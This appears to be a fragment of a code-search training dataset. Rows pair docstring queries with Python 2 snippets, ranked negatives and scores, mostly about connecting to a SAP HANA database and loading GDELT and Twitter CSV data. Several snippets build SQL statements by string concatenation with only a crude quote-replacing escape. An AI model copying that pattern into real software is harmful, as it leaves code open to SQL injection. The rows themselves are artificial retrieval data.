"0.5926822",
"0.59081423",
"0.590085",
"0.58612853",
"0.58450735",
"0.5831866",
"0.5831866",
"0.57898... | 0.7957777 | 0 |
Init method that creates connection and iterates data folder. | def __init__(self):
self.connection = self.get_connection() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self, dir_path, window_size,\n user_map_path, computer_map_path, auth_type_map_path, logon_type_map_path):\n logging.info(f\"Initiating Dataset instance for directory {dir_path}\")\n self.directory = dir_path\n self.filenames = [filename for filename in os.listdir(... | [
"0.65322316",
"0.637263",
"0.6249433",
"0.62027884",
"0.6196576",
"0.6175284",
"0.6166833",
"0.61262244",
"0.6097434",
"0.6095836",
"0.6089378",
"0.6080158",
"0.60653484",
"0.6035975",
"0.60190237",
"0.60178757",
"0.59992707",
"0.597802",
"0.5973767",
"0.59712183",
"0.5955256... | 0.56437683 | 55 |
(obj) > (obj) Method that will return connection to the database using given credentials. | def get_connection(self):
return dbapi.connect(credentials.SERVER,\
credentials.PORT,\
credentials.USER,\
credentials.PASSWORD) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def connect(db, username=None, password=None, **kwargs):\n global _connection_settings, _db_name, _db_username, _db_password, _db\n _connection_settings = dict(_connection_defaults, **kwargs)\n _db_name = db\n _db_username = username\n _db_password = password\n return _get_db(reconnect=True)",
... | [
"0.7528545",
"0.7352598",
"0.7319592",
"0.7257597",
"0.7221091",
"0.7190557",
"0.7125156",
"0.7116309",
"0.70870197",
"0.7086611",
"0.7075302",
"0.70648813",
"0.7061649",
"0.7060165",
"0.7057439",
"0.7055212",
"0.7048197",
"0.70444536",
"0.70107573",
"0.69982386",
"0.69969594... | 0.8073522 | 0 |
(obj) > (str) Building query for execution | def _build_test_query01(self):
query = 'select "GLOBALEVENTID", "SQLDATE", "MonthYear", "Year" ' + \
'from "DEMOUSER00"."uni.vlba.gdelt.data::gdelt_dailyupdates"'
return query | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make_query(self):",
"def generate_query(self):\n return",
"def query(self, query):",
"def _build_query(self, **query):\n\n available_fields = list(self.model._available_fields.keys())\n\n q_str = ''\n for key, val in list(query.items()):\n # Get the field and th... | [
"0.74506533",
"0.72618586",
"0.68690604",
"0.6727901",
"0.6704122",
"0.66704446",
"0.66589046",
"0.65477747",
"0.6473235",
"0.64644617",
"0.6462342",
"0.6396681",
"0.6358946",
"0.6354206",
"0.6349587",
"0.6325434",
"0.63069355",
"0.6219109",
"0.6207746",
"0.6207217",
"0.62033... | 0.0 | -1 |
(list) > (str) Fetching values from the given row(tuple) that are presented in form of list. | def fetch_row_into_str(self, row):
str_row = ""
for value in row:
str_row = str_row + str(value) + ' | \t\t'
return str_row[:-5] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getRow(self, row):\n returnvalue = list()\n for item in self._value[row]:\n returnvalue.append(item)\n return returnvalue",
"def _get_xls_row_vals(self, row):\n return [v.value for v in row]",
"def values(table, row, columns):\n\n values = []\n for x, column in ... | [
"0.69217086",
"0.67158365",
"0.65856916",
"0.6451743",
"0.6403767",
"0.6316137",
"0.6300533",
"0.6300533",
"0.62184757",
"0.6168762",
"0.6135526",
"0.6112956",
"0.6109464",
"0.60993624",
"0.6089436",
"0.60525525",
"0.5972258",
"0.5962208",
"0.59575963",
"0.5947596",
"0.592676... | 0.5326618 | 100 |
(obj, str) > NoneType Running given query and using given connection. Fetching result rows and printing them to standard output. | def execute_query(self, query, fetch=False):
cursor = self.connection.cursor()
executed_cur = cursor.execute(query)
if executed_cur:
if fetch:
result_cur = cursor.fetchall()
for row in result_cur:
print fetch_row_into_str(row)
else:
print "[e] Something wrong with execution." | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def run_query(cur, query, show_results=False):\n num_rows = cur.execute(query)\n print('the query returned {} rows'.format(num_rows))\n if show_results:\n for row in cur.fetchall():\n print(row)",
"def answer_query(query, conn, curs):\r\n results = conn.execute(query)\r\n results... | [
"0.76009005",
"0.73438525",
"0.72629637",
"0.71196103",
"0.7087542",
"0.6934488",
"0.685337",
"0.68415636",
"0.6833352",
"0.677931",
"0.67263293",
"0.6667802",
"0.6640822",
"0.663478",
"0.6630659",
"0.6616692",
"0.6614022",
"0.66114473",
"0.6609693",
"0.6557219",
"0.65535396"... | 0.7054042 | 5 |
(obj, str) > list() Converting input line that suppose to be an csv to the separated list. | def line_to_list(self, _line):
result = list()
_line_splited = _line.split('\t')
for value in _line_splited:
value_stripped = value.strip().rstrip()
result.append(value_stripped)
return result | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def from_csv_line(line):\r\n return line.strip().split(',')",
"def csv_line(value_parser):\n def convert(string):\n return list(map(value_parser, string.split(',')))\n return convert",
"def lineToList(self, line):\n l = [item for item in next(csv.reader(StringIO.StringIO(line), self.CSVD... | [
"0.75949764",
"0.7164469",
"0.68289167",
"0.6725227",
"0.6720052",
"0.6612868",
"0.6583956",
"0.64902407",
"0.641971",
"0.63536537",
"0.63398874",
"0.6332436",
"0.63174677",
"0.6312271",
"0.628587",
"0.6243127",
"0.6242734",
"0.6242734",
"0.6237079",
"0.6194998",
"0.617001",
... | 0.6869202 | 2 |
(obj, str) > str Escape symbols to be used in sql statements. | def escapeinput_data_for_sql(self, value, sql_type):
# print value
value = value.replace('\'', '"')
value = value.replace(',', '_')
if len(value) == 0:
if sql_type in ('BIGINT', 'INTEGER', 'FLOAT', 'DOUBLE'):
return '0'
if sql_type == 'NVARCHAR':
return '\'\''
else:
if sql_type in ('BIGINT... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def escape(self, expr):\n return mysql.connector.conversion.MySQLConverter().escape(expr)",
"def quote(self, expr):\n return \"'\" + self.escape(str(expr)) + \"'\"",
"def escape(self):\n pass",
"def mysql_quote(x):\n if not x:\n return \"NULL\"\n x = x.replace(\"\\\\\", \"\\... | [
"0.6458438",
"0.62238497",
"0.621781",
"0.6184704",
"0.6025963",
"0.5946433",
"0.5932929",
"0.5927912",
"0.58921474",
"0.58584756",
"0.5854378",
"0.5850931",
"0.5849089",
"0.581277",
"0.5790382",
"0.576162",
"0.575403",
"0.5749239",
"0.5723439",
"0.57120687",
"0.5693903",
"... | 0.0 | -1 |
(obj, list, list, list, boolean) > (str) Building part of the query, according to the value passed with 'query_part' parameter (should be 1 or 2). | def build_query_part(self, input_data, table_fields_types, query_part):
result_query = '('
for index in xrange(len(input_data)):
if query_part == 1:
proper_value = '"' + input_data[index] + '"'
if query_part == 2:
if "nextval" not in input_data[index]:
proper_value = self.escapeinput_da... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __generateQuery(self, query):\n if query == None:\n return [\"1=1\"]\n elif type(query) is not list:\n return [query]\n else:\n return query",
"def make_complex_query_set(self):\n\n query = self.request.GET.get(\"q\")\n program_id = self.req... | [
"0.6225745",
"0.60901934",
"0.60255617",
"0.5791044",
"0.5705478",
"0.56317335",
"0.5615809",
"0.55866855",
"0.5552422",
"0.5450757",
"0.5444924",
"0.54353344",
"0.53419",
"0.5271756",
"0.5258663",
"0.5253045",
"0.5239043",
"0.5230882",
"0.52274454",
"0.52210087",
"0.52185774... | 0.70095813 | 0 |
(obj, str, list, list) > (str) Returning "insert" SQL statement with values. | def form_insert_query(self, table_name, input_data, table_fields_names=None, table_fields_types=None):
# creating first part of the query -> section with columns' names
query_table_structure = self.build_query_part(table_fields_names, table_fields_types, query_part=1)
# creating second part of the query -> sect... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _insert_sql(self, table, insert_values):\n if isinstance(insert_values, dict):\n keys = []\n values = []\n for k, v in insert_values.items():\n keys.append(k)\n if v is None:\n values.append('')\n elif isins... | [
"0.7786701",
"0.7468949",
"0.7432973",
"0.74259865",
"0.72058713",
"0.7184613",
"0.7164827",
"0.71338683",
"0.71334565",
"0.7122251",
"0.7071047",
"0.7063761",
"0.7004349",
"0.6975342",
"0.694661",
"0.6939397",
"0.6924211",
"0.6909788",
"0.6890641",
"0.6878951",
"0.6845659",
... | 0.0 | -1 |
(obj, str) > (list(), list()) Extracting table identifiers from the ".txt" mask file. 'Table Definitions' are taken by simple "Copy>Paste" from 'Open Definition' visual interface of table in SAP HANA Studio. | def identify_table_mask(self, maskdata_file_name='daily_update_table-mask.txt', delim=';'):
table_fields_names, table_fields_types = list(), list()
mask_f = open(META_INFO_DIRECTORY + '/' + maskdata_file_name, "r")
# skipping line with descriptions of attributes
line = mask_f.readline()
# first line wi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def GetDefinitions(filename,obj):\n file=open(filename)\n content=file.read().replace(\"\\t\",\" \")\n file.close\n pat=re.compile(obj +' \\{([\\S\\s]*?)\\}',re.DOTALL)\n finds=pat.findall(content)\n return finds",
"def find_table_command(input_file):\n contents = open(input_file, 'r')\n ... | [
"0.6227015",
"0.56853586",
"0.5597648",
"0.5541076",
"0.54774153",
"0.5453966",
"0.53986174",
"0.5364839",
"0.53526664",
"0.5321016",
"0.5305525",
"0.5287184",
"0.5245256",
"0.5241831",
"0.5231992",
"0.5211202",
"0.5209902",
"0.52098477",
"0.51902837",
"0.51770276",
"0.517508... | 0.5998301 | 1 |
(obj,) > boolean Checking if data is already loaded into db's table. | def check_if_row_already_loaded(self, row, file_name):
query = "SELECT count(*) FROM " + TABLE_NAME + " WHERE GLOBALEVENTID = " + "'" + row[0] + "'"
try:
# print query
cursor = self.connection.cursor()
executed_cur = cursor.execute(query)
if executed_cur:
result_cur = cursor.fetchall()
f... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def data_loaded_check(self):\n return True",
"def db_has_object(rep_cursor, sql, query_args):\n rep_cursor.execute(sql, query_args)\n if rep_cursor.rowcount == 0:\n return False\n return True",
"def _exists (self):\n cursor = self._exec (self.select)\n return bool (cursor.f... | [
"0.6943474",
"0.68638754",
"0.6641932",
"0.6614292",
"0.66038424",
"0.64612883",
"0.6376495",
"0.6328476",
"0.6302793",
"0.62997705",
"0.62929714",
"0.629125",
"0.62693715",
"0.62334293",
"0.62234014",
"0.6199559",
"0.6187284",
"0.6176301",
"0.6151032",
"0.6147922",
"0.613803... | 0.63383526 | 7 |
(obj, list) > boolean Checking if row is to be valid to inserrted. | def is_valid_row_to_insert(self, row):
if row[5] == COUNTRY or row[15] == COUNTRY:
return True
return False | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_valid_row(self):\r\n return self.valid_row",
"def validate(self, row):\n raise NotImplementedError",
"def _validate_row(self, row):\n\n # assume value.\n is_valid = True\n\n # test if each field in @row has the correct data type.\n tests = []\n for fi... | [
"0.7949116",
"0.7407488",
"0.7403638",
"0.73143804",
"0.72224575",
"0.71624714",
"0.7001095",
"0.68070215",
"0.6799853",
"0.6750885",
"0.6745441",
"0.6681107",
"0.668088",
"0.6449475",
"0.6376525",
"0.6330244",
"0.6321344",
"0.6238823",
"0.6232478",
"0.6229483",
"0.6198405",
... | 0.6529725 | 13 |
(obj, list, list, list) > NoneType Inserting one single row to table. | def insert_data(self, row, table_fields_names, table_fields_types):
query = ''
try:
query = self.form_insert_query(TABLE_NAME, row, table_fields_names, table_fields_types)
# print query
self.execute_query(query)
except Exception, e:
print '[e] Exeption: %s' % (str(e))
print '\t[q] Quer... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _insert_table_row(self, db: str, table: str, row: Dict[str, Any]):\n pass",
"def info_insert(tbl_mgr, table_str, row_arr):\n val_str = \"(\"\n\n for col in range(len(row_arr)):\n if col > 0:\n val_str += \", \"\n if row_arr[col] is None:\n val_str += \"NULL\"\... | [
"0.73631203",
"0.6934004",
"0.69239914",
"0.6890251",
"0.66995037",
"0.66891676",
"0.65547365",
"0.6468297",
"0.6453737",
"0.6453333",
"0.6392642",
"0.63380957",
"0.6335886",
"0.6317819",
"0.6305761",
"0.6293148",
"0.6282897",
"0.626277",
"0.6242966",
"0.62419975",
"0.6236205... | 0.6683566 | 6 |
(obj) > NoneType Fetching data from CSV with GDELT data and loading to database (with insert statements). | def load_twitter_data_to_db(self, truncate_table=False, skip_loaded_files=False):
table_fields_names, table_fields_types = self.identify_table_mask('twitter_stream_table-mask.txt')
# Truncating table
if truncate_table:
query = 'TRUNCATE TABLE ' + TABLE_NAME;
try:
self.execute_query(query)
except E... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def import_glucose_from_csv(user, csv_file):\n csv_data = []\n reader = csv.reader(csv_file.read().splitlines(), delimiter=',',\n quotechar='\"')\n for row in reader:\n csv_data.append([item.strip() for item in row])\n\n glucose_objects = []\n\n # Check if headers exist... | [
"0.6225475",
"0.61713827",
"0.6018862",
"0.5890352",
"0.5874249",
"0.5863172",
"0.5847302",
"0.5836998",
"0.58211",
"0.5770075",
"0.5767906",
"0.57509094",
"0.57297736",
"0.57212746",
"0.57081926",
"0.5701854",
"0.5697785",
"0.5686698",
"0.5680296",
"0.5675238",
"0.5667102",
... | 0.0 | -1 |
(NoneType) > NoneType Main method that creates objects and start processing. | def main():
gdl = TwitterDataLoader()
gdl.load_twitter_data_to_db(truncate_table=False, skip_loaded_files=True) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def run(self, objects: typing.Any) -> None:\n pass",
"def make_objects(self):\n pass",
"def main(self) -> None:\n pass",
"def main(self):\r\n pass",
"def _initialise_run(self) -> None:",
"def main(self):\n\n self._setup_task_manager()\n self._setup_source_and_des... | [
"0.6855316",
"0.6721951",
"0.6673009",
"0.6668939",
"0.6596901",
"0.6416985",
"0.64162403",
"0.63482755",
"0.6343455",
"0.62667793",
"0.6263516",
"0.6263516",
"0.6263516",
"0.6263516",
"0.6263516",
"0.6263516",
"0.6263516",
"0.6263516",
"0.6263516",
"0.6263516",
"0.6263516",
... | 0.0 | -1 |
convert netcdf variable to string for rfm input | def ncvar_to_str(data, variable_name, unit_factor=1., separator=','):
return np.array2string(unit_factor*data[variable_name][:],
separator=separator, precision=3,
max_line_width=80)[1:-1] + '\n' | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __str__(self):\n return self.identity(default=self.nc_get_variable(\"\"))",
"def to_netcdf(self, outfile):",
"def read_netcdf(self,filename):",
"def read_nc(input_file_path_str,var_name=None):\r\n\r\n if not exists(dirname(input_file_path_str)):\r\n print('*** ERROR, input file path does... | [
"0.56684077",
"0.56515074",
"0.5517042",
"0.5477448",
"0.533655",
"0.5274521",
"0.5267746",
"0.52513975",
"0.5239401",
"0.5221346",
"0.52030563",
"0.51221067",
"0.5119322",
"0.51039076",
"0.5095084",
"0.509416",
"0.5086682",
"0.5085247",
"0.50754094",
"0.506929",
"0.5048053",... | 0.6453824 | 0 |
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